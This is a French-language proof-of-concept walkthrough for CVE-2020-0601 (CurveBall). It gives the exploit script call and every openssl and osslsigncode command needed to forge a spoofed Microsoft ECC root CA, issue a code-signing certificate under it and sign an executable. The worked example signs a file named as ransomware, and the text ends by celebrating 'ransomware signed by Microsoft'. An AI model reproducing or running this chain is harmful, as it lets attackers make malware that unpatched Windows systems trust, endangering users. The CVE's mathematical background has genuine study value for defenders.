
Exploit de preuve de concept pour CVE-2020-0601 (CurveBall) démontrant le contournement de la validation de certificat ECC pour usurper une CA de confiance et signer des exécutables arbitraires.
Cette vulnérabilité, connue sous le nom de CurveBall, est due à une vérification invalide des certificats qui utilisent l'algorithme ECC. Windows tente de vérifier les certificats précédemment vérifiés à partir du cache de certificats et, ce faisant, il vérifie uniquement si les clés publiques des certificats sont identiques et ne vérifie pas les autres paramètres.
Pour usurper le certificat, nous définissons explicitement les paramètres comme ci-dessous :
d' = 1
G' = Q
Si vous avez besoin de plus d'informations, vous pouvez consulter la section des détails mathématiques du fichier final_report_milestone_IV.pdf.
Dans cette poc, utilisons "Microsoft ECC Product Root Certificate Authority", qui est le certificat de confiance de Microsoft jusqu'à l'année 2043.
Extrayons la clé publique de l'autorité de certification (CA) et modifions-la selon la vulnérabilité
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Nous générons un nouveau certificat x509 basé sur cette clé. Ce sera notre propre CA usurpé.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
Pour voir le contenu de spoofed_ca.crt
openssl x509 -in spoofed_ca.crt -noout -text
Nous générons une nouvelle clé. Cette clé peut être de n'importe quel type souhaité. Elle sera utilisée pour créer un certificat de signature de code, que nous signerons avec notre propre CA.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Ensuite, nous créons une nouvelle demande de signature de certificat (CSR). Cette demande serait normalement envoyée à des CA de confiance, mais puisque nous en avons une usurpée, nous pouvons la signer nous-mêmes.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Nous signons notre nouvelle CSR avec notre CA usurpé et la clé du CA. Ce certificat expirera en 2047, alors que le véritable CA de confiance de Microsoft expire en 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
Il ne reste plus qu'à empaqueter le certificat, sa clé et le CA usurpé dans un fichier PKCS12 pour signer des exécutables.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Signons notre exécutable avec le fichier PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
Maintenant, nous avons un tout nouveau ransomware signé par Microsoft :)